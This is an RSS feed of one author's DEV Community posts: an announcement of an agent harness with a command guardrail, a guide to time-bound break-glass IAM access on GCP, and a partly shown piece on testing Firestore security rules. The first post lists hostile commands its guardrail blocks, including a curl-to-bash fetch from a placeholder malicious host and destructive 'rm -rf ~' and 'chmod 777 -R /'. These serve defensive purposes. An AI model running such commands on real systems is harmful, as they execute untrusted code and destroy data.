<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Purvansh Bhatt</title>
    <description>The latest articles on DEV Community by Purvansh Bhatt (@purvanshbhatt).</description>
    <link>https://dev.to/purvanshbhatt</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3757336%2F4ebd435e-0597-45f2-96fd-b3f67be87eda.jpeg</url>
      <title>DEV Community: Purvansh Bhatt</title>
      <link>https://dev.to/purvanshbhatt</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/purvanshbhatt"/>
    <language>en</language>
    <item>
      <title>Building an Autonomous Agent Harness: Introducing Everything Antigravity (EAG)</title>
      <dc:creator>Purvansh Bhatt</dc:creator>
      <pubDate>Mon, 16 Nov 2026 22:36:15 +0000</pubDate>
      <link>https://dev.to/purvanshbhatt/building-an-autonomous-agent-harness-introducing-everything-antigravity-eag-5257</link>
      <guid>https://dev.to/purvanshbhatt/building-an-autonomous-agent-harness-introducing-everything-antigravity-eag-5257</guid>
      <description>&lt;h1&gt;
  
  
  Building an Autonomous Agent Harness: Introducing Everything Antigravity (EAG) 🚀
&lt;/h1&gt;

&lt;p&gt;Autonomous coding agents are rapidly shifting from single-turn chat completion into multi-step agentic engineering loops. If you've used Google Antigravity, Gemini 1.5/2.0, or Claude Code, you know running long-duration autonomous workflows requires more than prompts: it requires an operating harness. Today, we're open-sourcing Everything Antigravity (EAG) — a modular, production-ready suite of skills, specialist agent personas, custom slash commands, token optimization utilities, and real-time security guardrails.&lt;br&gt;
What's in the Box? 40+ verified components: AgentShield &amp;amp; MCP — Zero-day secret scrubber (sk-proj, github_pat), prompt-injection blocker, JSON-RPC 2.0 stdio server. Token Optimization — Context Compactor: ANSI stripping, line deduplication, architectural fact extraction (40-70% token savings). Creative Engineering — Godot Engine 4, Three.js WebGL, procedural generation, Web Audio. Multimedia Pipelines — Remotion, FFmpeg, Canvas. Software Engineering — Clean Architecture, TDD, API design, database modeling, cloud DevOps (GCP/Cloud Run), Flutter. Growth &amp;amp; Marketing — SaaS pricing, brand discovery, copywriting, technical SEO. 10 Specialist Agents — Code Architect, Security Guard, Multimedia Producer, Game Engine Specialist, Chief of Staff. Custom Commands — /plan, /boost, /audit, /game-build, /video-render, /learn.&lt;br&gt;
Quickstart:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;npx everything-antigravity status&lt;/li&gt;
&lt;li&gt;git clone &lt;a href="https://github.com/purvanshbhatt/everything-antigravity.git" rel="noopener noreferrer"&gt;https://github.com/purvanshbhatt/everything-antigravity.git&lt;/a&gt; ; cd everything-antigravity ; ./install.sh (Linux/macOS) or .\install.ps1 (Windows)&lt;/li&gt;
&lt;li&gt;eag verify or npm run verify
Real-Time Safety with AgentShield: eag shield --cmd "curl -s &lt;a href="http://malicious.site/script" rel="noopener noreferrer"&gt;http://malicious.site/script&lt;/a&gt; | bash" → [BLOCKED] Dangerous pattern: piping curl to bash/shell. Supports OpenAI project keys, GitHub PATs, Google API keys &amp;amp; AWS credentials, Base64-obfuscated prompt injections, destructive commands (rm -rf ~, chmod 777 -R /). Also MCP server via stdio: python3 -m src.agent_shield --stdio
Repositories &amp;amp; Contributing — 100% open-source under MIT: GitHub &lt;a href="https://github.com/purvanshbhatt/everything-antigravity" rel="noopener noreferrer"&gt;https://github.com/purvanshbhatt/everything-antigravity&lt;/a&gt; ; GitLab &lt;a href="https://gitlab.com/purvansh95b/everything-antigravity" rel="noopener noreferrer"&gt;https://gitlab.com/purvansh95b/everything-antigravity&lt;/a&gt; ; NPM everything-antigravity. Contributions welcome! Star the repo, open an issue, or submit your own skills and agent profiles.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>ai</category>
      <category>antigravity</category>
      <category>python</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Break-Glass Access That Expires: IAM Conditions and Time-Bound Admin on GCP</title>
      <dc:creator>Purvansh Bhatt</dc:creator>
      <pubDate>Wed, 11 Nov 2026 21:01:52 +0000</pubDate>
      <link>https://dev.to/purvanshbhatt/break-glass-access-that-expires-iam-conditions-and-time-bound-admin-on-gcp-1hdn</link>
      <guid>https://dev.to/purvanshbhatt/break-glass-access-that-expires-iam-conditions-and-time-bound-admin-on-gcp-1hdn</guid>
      <description>&lt;h2&gt;
  
  
  The 2 a.m. problem
&lt;/h2&gt;

&lt;p&gt;A production incident hits at 2 a.m. Your on-call engineer needs &lt;code&gt;roles/owner&lt;/code&gt; — or at least broad project admin — to restart a stuck Cloud Run service, read a Secret Manager secret, or roll back a bad deploy. In most small teams, the answer is a standing grant: someone has had &lt;code&gt;roles/editor&lt;/code&gt; or &lt;code&gt;roles/owner&lt;/code&gt; since the project was created, and nobody has ever removed it.&lt;/p&gt;

&lt;p&gt;That standing grant is the whole problem. It is an always-on credential that an attacker, a compromised laptop, or a leaked service-account key can use at any hour, for any purpose, with no incident attached to it. The fix is not "give nobody admin access." The fix is access that exists only when it is needed, only for as long as it is needed, and only for the person who asked for it. On GCP, that is IAM Conditions — and it is one of the most underused security features on the platform.&lt;/p&gt;

&lt;p&gt;This article walks through a break-glass pattern I would actually run: a permanent, near-zero-privilege identity; a just-in-time elevation path with a time-bound condition; an audit trail that shows exactly who elevated, when, and why; and a test that proves the grant really expires. Everything here uses standard IAM — no third-party PAM tool, no extra bill.&lt;/p&gt;

&lt;h2&gt;
  
  
  What IAM Conditions actually are
&lt;/h2&gt;

&lt;p&gt;IAM Conditions attach a Common Expression Language (CEL) expression to a role binding. The binding only applies when the expression evaluates to true. The most useful variables are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;request.time&lt;/code&gt; — the time of the request, so you can write &lt;code&gt;request.time &amp;lt; timestamp("2026-11-11T18:00:00Z")&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;request.auth.access_levels&lt;/code&gt; — Access Context Manager access levels, for device or network conditions.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;resource.name&lt;/code&gt;, &lt;code&gt;resource.type&lt;/code&gt;, &lt;code&gt;resource.service&lt;/code&gt; — scope the binding to specific resources.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;request.auth.principal&lt;/code&gt; — the identity making the call.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The condition is evaluated at request time, on every request. When the time window passes, the binding stops applying — no cleanup job, no ticket to revoke the role, no forgotten grant. That property — expiry enforced by the platform, not by human memory — is the entire point.&lt;/p&gt;

&lt;p&gt;There are limits worth knowing up front. Conditions are supported on most IAM roles, but not on every Google Cloud service's data-level permissions, and some legacy roles behave oddly with conditions attached. Conditions also add evaluation latency that is negligible for human-speed operations and irrelevant for break-glass use. And a condition is not a substitute for MFA or for phishing-resistant authentication — it narrows the window, it does not authenticate the person. Treat it as one layer.&lt;/p&gt;

&lt;h2&gt;
  
  
  The design: three identities, not one
&lt;/h2&gt;

&lt;p&gt;The pattern has three parts:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;The everyday identity.&lt;/strong&gt; Each engineer has their normal account with the least privilege they need daily: read logs, view Cloud Run services, read dashboards. Nothing that can change production state.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The break-glass group.&lt;/strong&gt; A Google group, e.g. &lt;code&gt;break-glass@your-domain.com&lt;/code&gt;, with almost no members most of the time. Membership is the trigger, not the privilege itself.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The time-bound binding.&lt;/strong&gt; A role binding on the project (or folder) that grants the elevated role to the break-glass group, but only while a time condition holds.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The key decision: the elevated role should be the &lt;em&gt;narrowest role that can fix the incident&lt;/em&gt;, not &lt;code&gt;roles/owner&lt;/code&gt;. For a Cloud Run + Cloud SQL + Secret Manager stack, that is usually a combination like &lt;code&gt;roles/run.admin&lt;/code&gt;, &lt;code&gt;roles/cloudsql.client&lt;/code&gt;, and &lt;code&gt;roles/secretmanager.secretAccessor&lt;/code&gt; — not owner, not editor. Owner can change IAM itself, which means a compromised break-glass session can make itself permanent. If your incident genuinely needs owner-level action, that is a signal to redesign the runbook, not to hand out owner.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: Create the time-bound binding
&lt;/h2&gt;

&lt;p&gt;Here is the binding as a Terraform resource, because break-glass access should be in version control, reviewed like code, and never clicked into existence at 2 a.m.:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="n"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"break_glass_group"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;type&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;
  &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"group:break-glass@your-domain.com"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"elevation_end"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;type&lt;/span&gt;        &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;
  &lt;span class="n"&gt;description&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"RFC 3339 timestamp when the elevation expires, e.g. 2026-11-11T18:00:00Z"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"google_project_iam_member"&lt;/span&gt; &lt;span class="s2"&gt;"break_glass_run_admin"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;project&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;project_id&lt;/span&gt;
  &lt;span class="n"&gt;role&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"roles/run.admin"&lt;/span&gt;
  &lt;span class="n"&gt;member&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;break_glass_group&lt;/span&gt;

  &lt;span class="n"&gt;condition&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;title&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"break-glass window"&lt;/span&gt;
    &lt;span class="n"&gt;description&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Time-bound elevation for incident response only"&lt;/span&gt;
    &lt;span class="n"&gt;expression&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"request.time &amp;lt; timestamp(\"${var.elevation_end}\")"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"google_project_iam_member"&lt;/span&gt; &lt;span class="s2"&gt;"break_glass_secret_accessor"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;project&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;project_id&lt;/span&gt;
  &lt;span class="n"&gt;role&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"roles/secretmanager.secretAccessor"&lt;/span&gt;
  &lt;span class="n"&gt;member&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;break_glass_group&lt;/span&gt;

  &lt;span class="n"&gt;condition&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;title&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"break-glass window"&lt;/span&gt;
    &lt;span class="n"&gt;description&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Time-bound elevation for incident response only"&lt;/span&gt;
    &lt;span class="n"&gt;expression&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"request.time &amp;lt; timestamp(\"${var.elevation_end}\")"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two details matter. First, each role gets its own binding with the same condition, so you can audit and revoke them independently. Second, the expiry timestamp is a variable, not hardcoded — the same module grants a one-hour window or a four-hour window depending on the incident.&lt;/p&gt;

&lt;p&gt;If you prefer &lt;code&gt;gcloud&lt;/code&gt;, the equivalent is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcloud projects add-iam-policy-binding &lt;span class="s2"&gt;"$PROJECT_ID"&lt;/span&gt; \
  --member=&lt;span class="s2"&gt;"group:break-glass@your-domain.com"&lt;/span&gt; \
  --role=&lt;span class="s2"&gt;"roles/run.admin"&lt;/span&gt; \
  --condition=&lt;span class="s2"&gt;"title=break-glass window,description=Time-bound elevation for incident response only,expression=request.time &amp;lt; timestamp('2026-11-11T18:00:00Z')"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One trap: &lt;code&gt;add-iam-policy-binding&lt;/code&gt; with a condition will fail if a binding for the same role and member already exists without a condition. Check the current policy first with &lt;code&gt;gcloud projects get-iam-policy&lt;/code&gt;, and remove the standing grant before adding the conditional one — otherwise you have built an expiry that never applies because the unconditional binding still exists.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: Make the elevation requestable, not self-service
&lt;/h2&gt;

&lt;p&gt;A time-bound grant that anyone can create for themselves is just a standing grant with extra steps. The elevation flow should be:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The engineer opens an incident channel or ticket and states what they need and why. Even a one-line message counts — the point is a record, not bureaucracy.&lt;/li&gt;
&lt;li&gt;A second person — a team lead, or for a solo builder, a documented self-approval step with a reason field — approves and sets the expiry. For a one-person team, the approval is you writing down the reason and the window before you run the Terraform apply. That sounds performative; it is the difference between "I elevated because production was down" and "I cannot explain why I had admin access for six hours."&lt;/li&gt;
&lt;li&gt;The Terraform apply (or &lt;code&gt;gcloud&lt;/code&gt; command) runs, adding the member to the group or applying the conditional binding with the expiry.&lt;/li&gt;
&lt;li&gt;A calendar reminder or a Cloud Scheduler job fires at expiry to confirm the access is gone — not to revoke it (the condition does that), but to verify it.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For teams with more than one person, the approval step should be a different human from the requester. For a solo builder, the honest version is: the elevation command lives in a script that requires a &lt;code&gt;--reason&lt;/code&gt; flag and a &lt;code&gt;--duration&lt;/code&gt; flag, and writes both to a log file. Here is the shape of that script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# elevate.sh --reason "INC-123: Cloud Run deploy stuck" --duration 2h&lt;/span&gt;
&lt;span class="nb"&gt;set&lt;/span&gt; -euo pipefail
&lt;span class="c"&gt;# Parse flags, compute expiry in UTC, run terraform apply with&lt;/span&gt;
&lt;span class="c"&gt;# -var="elevation_end=$EXPIRY", and append a line to break-glass.log:&lt;/span&gt;
&lt;span class="c"&gt;# timestamp, requester, reason, expiry&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script is not the security control. The condition is. The script is the audit habit that makes the condition meaningful.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: Prove the expiry works
&lt;/h2&gt;

&lt;p&gt;A control you have never tested is a hope. Test the expiry in a non-production project first:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Grant a conditional binding with a five-minute window.&lt;/li&gt;
&lt;li&gt;Confirm the elevated action works inside the window — for example, &lt;code&gt;gcloud run services describe&lt;/code&gt; succeeds where it previously failed, or a deploy goes through.&lt;/li&gt;
&lt;li&gt;Wait six minutes. Repeat the same command. It must fail with a permission error.&lt;/li&gt;
&lt;li&gt;Check Cloud Audit Logs for both the successful call and the denied call. You should see the allow, then the deny, with the same identity.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That deny entry is the proof. If the action still works after expiry, you have a second, unconditional binding somewhere — usually a group membership or a folder-level grant you forgot about. IAM is additive: a single unconditional grant anywhere in the hierarchy defeats every condition you wrote. Audit the folder and organization policies too, not just the project.&lt;/p&gt;

&lt;p&gt;A second test worth running quarterly: list every binding in the project that has no condition and grants a privileged role, and justify each one out loud.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcloud projects get-iam-policy &lt;span class="s2"&gt;"$PROJECT_ID"&lt;/span&gt; \
  --format=&lt;span class="s2"&gt;"json"&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; python3 -c &lt;span class="s2"&gt;"
import json, sys
policy = json.load(sys.stdin)
for b in policy.get('bindings', []):
    if 'condition' not in b and b['role'] in (
        'roles/owner', 'roles/editor',
        'roles/iam.securityAdmin', 'roles/run.admin'):
        print(b['role'], '-&amp;gt;', b['members'])
"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If that list is longer than you expect, that is the finding. Fix it before the next incident, not during it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: Audit everything, and read the audit
&lt;/h2&gt;

&lt;p&gt;Break-glass access without audit logging is a backdoor with good branding. Three things to enable and actually read:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Data Access audit logs&lt;/strong&gt; for IAM and Secret Manager in the project. Admin Activity logs are on by default; Data Access logs for &lt;code&gt;iam.googleapis.com&lt;/code&gt; and &lt;code&gt;secretmanager.googleapis.com&lt;/code&gt; need to be enabled explicitly, and they are the ones that show who read which secret and who changed which binding.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A log-based alert&lt;/strong&gt; for any &lt;code&gt;SetIamPolicy&lt;/code&gt; call on the project. If someone changes IAM outside the elevation flow, you want to know within minutes, not at the next quarterly review. A simple log-based metric on &lt;code&gt;protoPayload.methodName="SetIamPolicy"&lt;/code&gt; with an alerting policy is enough.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A weekly review of elevation events.&lt;/strong&gt; How many elevations happened, who requested them, how long each lasted, and whether any lasted longer than the incident. A pattern of frequent, long elevations is a signal that everyday permissions are too narrow — fix the everyday role instead of normalizing break-glass.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One more honest limitation: audit logs tell you what happened after the fact. They do not stop a malicious elevation in real time. If your threat model includes a compromised admin account, pair time-bound access with a second control — for example, an Access Context Manager access level requiring a managed device. Time-bound access shrinks the window; it does not close every path through it.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this looks like in practice
&lt;/h2&gt;

&lt;p&gt;The trade-off is real: the first time you use this in a genuine incident, the elevation step feels like friction when you most want speed. That friction is the point, and it is smaller than it looks — a scripted elevation takes under a minute, and the alternative is an always-on privileged credential waiting for the worst day of the year. Pre-write the runbook, pre-test the expiry, and the 2 a.m. version of you will be glad the 2 p.m. version of you did the work.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Standing privileged grants are the risk; time-bound conditional bindings are the fix.&lt;/li&gt;
&lt;li&gt;Grant the narrowest role that can resolve the incident — never &lt;code&gt;roles/owner&lt;/code&gt; for break-glass.&lt;/li&gt;
&lt;li&gt;Put the binding in Terraform, with the expiry as a variable, and require a written reason for every elevation.&lt;/li&gt;
&lt;li&gt;Test the expiry in a non-production project: allow inside the window, deny outside it, and confirm both in audit logs.&lt;/li&gt;
&lt;li&gt;Audit for unconditional privileged bindings regularly — one forgotten grant defeats every condition.&lt;/li&gt;
&lt;li&gt;Review elevation history weekly. Frequent break-glass use means everyday permissions need fixing.&lt;/li&gt;
&lt;/ul&gt;




</description>
      <category>googlecloud</category>
      <category>iam</category>
      <category>security</category>
      <category>devops</category>
    </item>
    <item>
      <title>I Broke My Own Firestore Rules in Production Once. Now the Emulator Catches It First.</title>
      <dc:creator>Purvansh Bhatt</dc:creator>
      <pubDate>Wed, 11 Nov 2026 17:59:18 +0000</pubDate>
      <link>https://dev.to/purvanshbhatt/i-broke-my-own-firestore-rules-in-production-once-now-the-emulator-catches-it-first-3ik6</link>
      <guid>https://dev.to/purvanshbhatt/i-broke-my-own-firestore-rules-in-production-once-now-the-emulator-catches-it-first-3ik6</guid>
      <description>&lt;h2&gt;
  
  
  The deploy that taught me the lesson
&lt;/h2&gt;

&lt;p&gt;I changed one line in my Firestore security rules. It looked safe — I was tightening a read rule on a collection so only the owning tenant could read its documents. I deployed it, moved on, and found out later that a legitimate read path had started failing. Nothing dramatic broke in a way that paged me. It just quietly stopped working for a real user flow, and I only caught it because I happened to test that flow by hand afterward.&lt;/p&gt;

&lt;p&gt;That is the worst kind of bug: a security change that fails closed in the wrong place, silently, with no test to catch it. I had unit tests for my API. I had tests for my scoring logic. I had no tests for the rules that decide who can read and write my data. The rules were the one layer I was editing by feel and verifying by hope.&lt;/p&gt;

&lt;p&gt;So I fixed it the boring way: I put my Firestore rules under test in CI, using the Firebase Emulator Suite, and made the deploy pipeline refuse to ship rules that fail those tests. This is the setup I run now, what it caught, and where it still has gaps.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why rules deserve tests like code
&lt;/h2&gt;

&lt;p&gt;Firestore security rules look like configuration, but they are authorization logic. A single &lt;code&gt;allow read: if&lt;/code&gt; line is an access-control decision, and access-control decisions are exactly the kind of thing that should never ship untested. Three properties of rules make this worse than ordinary code:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;They fail silently in production.&lt;/strong&gt; A wrong rule does not throw an exception in your logs. It returns a permission-denied to a client, and unless you are watching for that specific error, you find out from a user.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;They are easy to get subtly wrong.&lt;/strong&gt; &lt;code&gt;request.auth != null&lt;/code&gt; is not the same as "this user owns this document." &lt;code&gt;resource.data.tenantId == request.auth.token.tenantId&lt;/code&gt; only works if the custom claim is actually set, and if the claim is missing the comparison fails in a direction you need to think about — does it fail open or fail closed?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;They change with the data model.&lt;/strong&gt; Add a field, rename a collection, change how tenancy is represented, and a rule that was correct last month is wrong now. The rule file and the app code drift apart unless something checks them together.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;My stack is Firebase Auth with custom claims for tenancy, a FastAPI backend that enforces the same tenant check in middleware, and Firestore as the store. The backend middleware is tested. The rules were not. That asymmetry was the bug.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup: emulator + rules unit tests
&lt;/h2&gt;

&lt;p&gt;The Firebase Emulator Suite ships a rules testing library, &lt;code&gt;@firebase/rules-unit-testing&lt;/code&gt;, that lets you spin up a Firestore emulator, load your rules file, and make reads and writes as authenticated or unauthenticated users with specific claims. The tests run in Node, against the emulator — no production project involved, no real data at risk.&lt;/p&gt;

&lt;p&gt;First, the rules file itself. Here is a simplified version of the shape I test — a multi-tenant collection where each document carries a &lt;code&gt;tenantId&lt;/code&gt;, and access requires a matching custom claim:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /readinessReports/{reportId} {
      allow read: if isSignedIn()
        &amp;amp;&amp;amp; request.auth.token.tenantId == resource.data.tenantId;
      allow create: if isSignedIn()
        &amp;amp;&amp;amp; request.auth.token.tenantId == request.resource.data.tenantId;
      allow update, delete: if false;
    }
    function isSignedIn() {
      return request.auth != null;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two deliberate choices in there. Updates and deletes are denied outright — reports are append-only, and any correction goes through a new report, so the rules enforce that invariant rather than trusting the client. And the tenant check reads the claim from the token, not from a field the client supplies — a client can claim anything in a request body, but it cannot forge a custom claim.&lt;/p&gt;

&lt;p&gt;Then the test file. The pattern is: initialize the emulator with the rules, create an authenticated context with a given set of claims, and assert that the operations you expect to succeed do, and the ones you expect to fail do:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;initializeTestEnvironment&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;assertSucceeds&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;assertFails&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="s2"&gt;"@firebase/rules-unit-testing"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;getDoc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;setDoc&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="s2"&gt;"firebase/firestore"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;readFileSync&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="s2"&gt;"fs"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="n"&gt;testEnv&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nf"&gt;beforeAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;testEnv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;initializeTestEnvironment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;projectId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"rules-test-project"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;firestore&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;readFileSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"firestore.rules"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"utf8"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"127.0.0.1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

